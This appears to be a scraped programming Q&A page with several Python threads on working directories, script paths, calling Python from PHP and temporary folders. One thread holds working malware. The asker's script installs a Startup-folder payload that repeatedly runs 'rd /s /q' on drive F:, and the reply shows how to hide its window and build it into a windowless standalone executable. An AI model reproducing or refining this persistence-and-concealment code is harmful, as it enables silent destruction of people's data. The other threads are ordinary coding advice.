Setting CWDir as a variable for MS-Dos environment - python

Can someone help me with this please?
I am trying to compile a program in this case programmed in python that I can run in win9Xdos, that I can call/start from a 9xDos batchfile, that will find the Current working Dir & by that I mean identify the cwd (current working directory) from where the python program and batchfile are executed. The python program will be called getcwd.py which I am hoping someone will outline what I need to do to convert to EXE/COM file. there is a program called Py2EXE but not sure if this will compile for Ms-dos file. Anyways heres my simple code thus far. Can someone tell me if I am on the right track please? Oh by the way what I am trying to do is find the CWD & inject the resultant path into a variable that can be read from 9Xdos. The current Var would be %cwd%
# importing os module
import os
# some websites say use: del cwd (to remove variable if it exists)
cwd = none
cwd = os.getcwd()
print(cwd)
The print line may need interchanging with code below, not sure help needed:
print(type(path))
# <class 'str'>
would the above code work, say in the root e.g. C:\ with & work in obtaining the CWD variable & if correct how would I proceed to compile it to an exe/com file? do I need to take into account LFN's & Spaces between possible paths e.g C:\Program Files & possible backslashes etc?

Your code isn't perfect but it is on the right track. All you need is this:
import os
if __name__ == '__main__':
print(os.getcwd())
There is no need for an auxiliary variable, and I don't know what websites are recommending that you delete the variable before creating it. Trying to delete a nonexistent Python variable is a runtime error. So I would stay away from those websites.
But your question is about setting an environment variable. Calling print() won't do that. All it will do is echo the current working directory to the console. There is no way to change the environment of a running process that will affect the parent process. This is not a Python restriction nor a Windows restriction: it is quite general. The OS sets up the environment of the process when it creates the process. You can make changes to the environment (using os.environ[env-var]) but those changes will only be visible inside that Python process and will not be visible to the environment of the batch file that runs the Python program. To do that, you need to pass the value back to the calling process.
One way to do that is like this:
In Python:
import os
if __name__ == '__main__':
print(f"set CWDIR={os.getcwd()}", file=open("mycd.bat","w"))
I haven't had a Python 1.5.2 environment for 15 years, so I can't test this, but I think the equivalent would have been
if __name__ == '__main__':
print >> open("mycd.bat","w"), "set CWDIR=%s" % (os.getcwd(),)
In a cmd.exe console:
call mycd.bat
Though if your Win9XDos doesn't provide %cd% (which, as far as I recall, was available in MS-DOS 5, or maybe further back still) there is no way of telling if it supports call either. (Are you maybe running command.com instead of cmd.exe? That would explain why things that should be there are missing).
I used pyinstaller to create a 64-bit .exe and that resulted in a file of about 6MB. Now, 32-bit executables are smaller, but it might be that the resulting executable is still too big to load.
So I think the Python route may turn out to be more trouble than it is worth.

Related

Running python script through PHP script not working

So basically, I am trying to run some preliminary tests for a website I will be building.
There will be downloads through the site, possibly for the same resource by different users, possibly nearly or at the same time. I want to implement a lock manager of sorts to prevent repeated downloads of a resource when one is already in progress.
The test I am running is just to see if this is even possible. What I am specifically testing for right now is if I begin running a program, if I attempted to open the program again would it open a completely new instance or go to the already open instance. I am doing to this to try and see if user 1 makes changes in their program, if the second user opens their program, they will see those change; otherwise they might not see the changes if they open up a completely new instance of a program.
PHP
exec(escapeshellcmd("C:\Program Files\Python 3.7\python.exe Test2Php.py 0 Testing"), $o1, $r);
echo $r;
var_dump($o1);
Python
#!/usr/bin/env python
import sys
arr = []
t = sys.argv[1]
if (t == '0'):
arr = [sys.argv[k] for k in range(2, len(sys.argv))]
print("if")
else:
print(str(len(arr)))
The problem is the script doesn't return any output at all! It doesn't run either. I tested this by having the python program write a file at the end of successful execution. I have tried shell_exec, passthru, etc. The program itself works when run through command line, but not in any scripts I have made.
I am using a WAMP server on windows.
EDIT:
For anyone else dealing with this. Make sure you have the default Python package in your system path variable. You can do this easily by installing the latest version of python and choosing add to system path. Uninstall anaconda or whatever else may be in the way of the system path and enjoy.
Also make sure you find where the python exe is and use the full path to it.
Your list comprehension will get out of range since you can never do lst[len(lst)] without getting an IndexError. The str() wrapper isn't necessary to print len(arr).
Instead, use a slice of [:2] to remove the first 2 elements:
#!/usr/bin/env python
import sys
arr = []
t = sys.argv[1]
if t == '0':
arr = sys.argv[2:]
print("if")
else:
print(len(arr))

Python Scripts + Use of folders and paths

This time I need help with python and paths manipulations. In first place i will will show you the structure im using on this set of apps:
MainFolder:
Folder1.
Subfolder1.
Subfolder2.
Folder2.
The folder I have the scripts in, is Folder 2. But i need the path to Main Folder(1 back from Folder2). But the method i'm using, isn't quite reliable.
Currently i'm using os.getcwd(), but if I lunch a shell trought an Excel Macros, the path breaks. From time to time the code brakes(often in loops that use paths).
I need to lunch said scripts trought Excel or at least CMD. Because this will be for People who knows just enough about computers to make it every day. And it need to operate on everyone machines.
PS: The scripts works just fine, but they do need to be in a separate folder from the files they are working on.
UPDATE 1 AS REQUESTED:
I've made a class and this is the class
class mypath:
def Revpath(self):
CWD = os.getcwd()
Revpaths = CWD[:-14]
return Revpaths
def Saldos(self):
CWD = os.getcwd()
Revpaths = CWD[:-14]
Cuadraje = Revpaths+"Stock\\Saldos"
return Cuadraje
def Banco(self,IDkind):
CWD = os.getcwd()
Revpaths = CWD[:-14]
Stocks = Revpaths+"Stock\\kind\\"+IDkind
return Stocks
mp = mypath()
Then I just assign the returned value to a Var. One is used on a CSV writter(Wich happens to be the most common miss path). And the other to set a download folder, for a firefox profile. Each script uses the same Class, and the logic is 100% the same on every script. But i only can show you this much, because the code on itself is messy and have sensitive data in it.
UPDATE 2: SOLVED
Solved this by replacing os.getcwd() for os.path.realpath(__file__)
Because of language (First Lanaguage is Spanish), I've assumed that the Current Working Directory was the one with the script, instead it returned the PyCharm Settings folders(I'm still clueless about this, cus' i'm launching the scripts trough a Shell from a excel macross button).
Also i've updated the code on the class i've presented above, for stability in my applications.

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

Accounting for a changing path

In relation to another question, how do you account for paths that may change? For example, if a program is calling a file in the same directory as the program, you can simply use the path ".\foo.py" in *nix. However, apparently Windows likes to have the path hard-coded, e.g. "C:\Python_project\foo.py".
What happens if the path changes? For example, the file may not be on the C: drive but on a thumb drive or external drive that can change the drive letter. The file may still be in the same directory as the program but it won't match the drive letter in the code.
I want the program to be cross-platform, but I expect I may have to use os.name or something to determine which path code block to use.
Simple answer: You work out the absolute path based on the environment.
What you really need is a few pointers. There are various bits of runtime and environment information that you can glean from various places in the standard library (and they certainly help me when I want to deploy an application on windows).
So, first some general things:
os.path - standard library module with lots of cross-platform path manipulation. Your best friend. "Follow the os.path" I once read in a book.
__file__ - The location of the current module.
sys.executable - The location of the running Python.
Now you can fairly much glean anything you want from these three sources. The functions from os.path will help you get around the tree:
os.path.join('path1', 'path2') - join path segments in a cross-platform way
os.path.expanduser('a_path') - find the path a_path in the user's home directory
os.path.abspath('a_path') - convert a relative path to an absolute path
os.path.dirname('a_path') - get the directory that a path is in
many many more...
So combining this, for example:
# script1.py
# Get the path to the script2.py in the same directory
import os
this_script_path = os.path.abspath(__file__)
this_dir_path = os.path.dirname(this_script_path)
script2_path = os.path.join(this_dir_path, 'script2.py')
print script2_path
And running it:
ali#work:~/tmp$ python script1.py
/home/ali/tmp/script2.py
Now for your specific case, it seems you are slightly confused between the concept of a "working directory" and the "directory that a script is in". These can be the same, but they can also be different. For example the "working directory" can be changed, and so functions that use it might be able to find what they are looking for sometimes but not others. subprocess.Popen is an example of this.
If you always pass paths absolutely, you will never get into working directory issues.
If your file is always in the same directory as your program then:
def _isInProductionMode():
""" returns True when running the exe,
False when running from a script, ie development mode.
"""
return (hasattr(sys, "frozen") or # new py2exe
hasattr(sys, "importers") # old py2exe
or imp.is_frozen("__main__")) #tools/freeze
def _getAppDir():
""" returns the directory name of the script or the directory
name of the exe
"""
if _isInProductionMode():
return os.path.dirname(sys.executable)
return os.path.dirname(__file__)
should work. Also, I've used py2exe for my own application, and haven't tested it with other exe conversion apps.
What -- specifically -- do you mean by "calling a file...foo.py"?
Import? If so, the path is totally outside of your program. Set the PYTHONPATH environment variable with . or c:\ or whatever at the shell level. You can, for example, write 2-line shell scripts to set an environment variable and run Python.
Windows
SET PYTHONPATH=C:\path\to\library
python myapp.py
Linux
export PYTHONPATH=./relative/path
python myapp.py
Execfile? Consider using import.
Read and Eval? Consider using import.
If the PYTHONPATH is too complicated, then put your module in the Python lib/site-packages directory, where it's put onto the PYTHONPATH by default for you.
I figured out by using os.getcwd(). I also learned about using os.path.join to automatically determine the correct path format based on the OS. Here's the code:
def openNewRecord(self, event): # wxGlade: CharSheet.<event_handler>
"""Create a new, blank record sheet."""
path = os.getcwd()
subprocess.Popen(os.path.join(path, "TW2K_char_rec_sheet.py"), shell=True).stdout
It appears to be working. Thanks for the ideas.

In Python, how do I make a temp file that persists until the next run?

I need to create a folder that I use only once, but need to have it exist until the next run. It seems like I should be using the tmp_file module in the standard library, but I'm not sure how to get the behavior that I want.
Currently, I'm doing the following to create the directory:
randName = "temp" + str(random.randint(1000, 9999))
os.makedirs(randName)
And when I want to delete the directory, I just look for a directory with "temp" in it.
This seems like a dirty hack, but I'm not sure of a better way at the moment.
Incidentally, the reason that I need the folder around is that I start a process that uses the folder with the following:
subprocess.Popen([command], shell=True).pid
and then quit my script to let the other process finish the work.
Creating the folder with a 4-digit random number is insecure, and you also need to worry about collisions with other instances of your program.
A much better way is to create the folder using tempfile.mkdtemp, which does exactly what you want (i.e. the folder is not deleted when your script exits). You would then pass the folder name to the second Popen'ed script as an argument, and it would be responsible for deleting it.
What you've suggested is dangerous. You may have race conditions if anyone else is trying to create those directories -- including other instances of your application. Also, deleting anything containing "temp" may result in deleting more than you intended. As others have mentioned, tempfile.mkdtemp is probably the safest way to go. Here is an example of what you've described, including launching a subprocess to use the new directory.
import tempfile
import shutil
import subprocess
d = tempfile.mkdtemp(prefix='tmp')
try:
subprocess.check_call(['/bin/echo', 'Directory:', d])
finally:
shutil.rmtree(d)
"I need to create a folder that I use only once, but need to have it exist until the next run."
"Incidentally, the reason that I need the folder around is that I start a process ..."
Not incidental, at all. Crucial.
It appears you have the following design pattern.
mkdir someDirectory
proc1 -o someDirectory # Write to the directory
proc2 -i someDirectory # Read from the directory
if [ %? == 0 ]
then
rm someDirectory
fi
Is that the kind of thing you'd write at the shell level?
If so, consider breaking your Python application into to several parts.
The parts that do the real work ("proc1" and "proc2")
A Shell which manages the resources and processes; essentially a Python replacement for a bash script.
A temporary file is something that lasts for a single program run.
What you need is not, therefore, a temporary file.
Also, beware of multiple users on a single machine - just deleting anything with the 'temp' pattern could be anti-social, doubly so if the directory is not located securely out of the way.
Also, remember that on some machines, the /tmp file system is rebuilt when the machine reboots.
You can also automatically register an function to completely remove the temporary directory on any exit (with or without error) by doing :
import atexit
import shutil
import tempfile
# create your temporary directory
d = tempfile.mkdtemp()
# suppress it when python will be closed
atexit.register(lambda: shutil.rmtree(d))
# do your stuff...
subprocess.Popen([command], shell=True).pid
tempfile is just fine, but to be on a safe side you'd need to safe a directory name somewhere until the next run, for example pickle it. then read it in the next run and delete directory. and you are not required to have /tmp for the root, tempfile.mkdtemp has an optional dir parameter for that. by and large, though, it won't be different from what you're doing at the moment.
The best way of creating the temporary file name is either using tempName.TemporaryFile(mode='w+b', suffix='.tmp', prifix='someRandomNumber' dir=None)
or u can use mktemp() function.
The mktemp() function will not actually create any file, but will provide a unique filename (actually does not contain PID).

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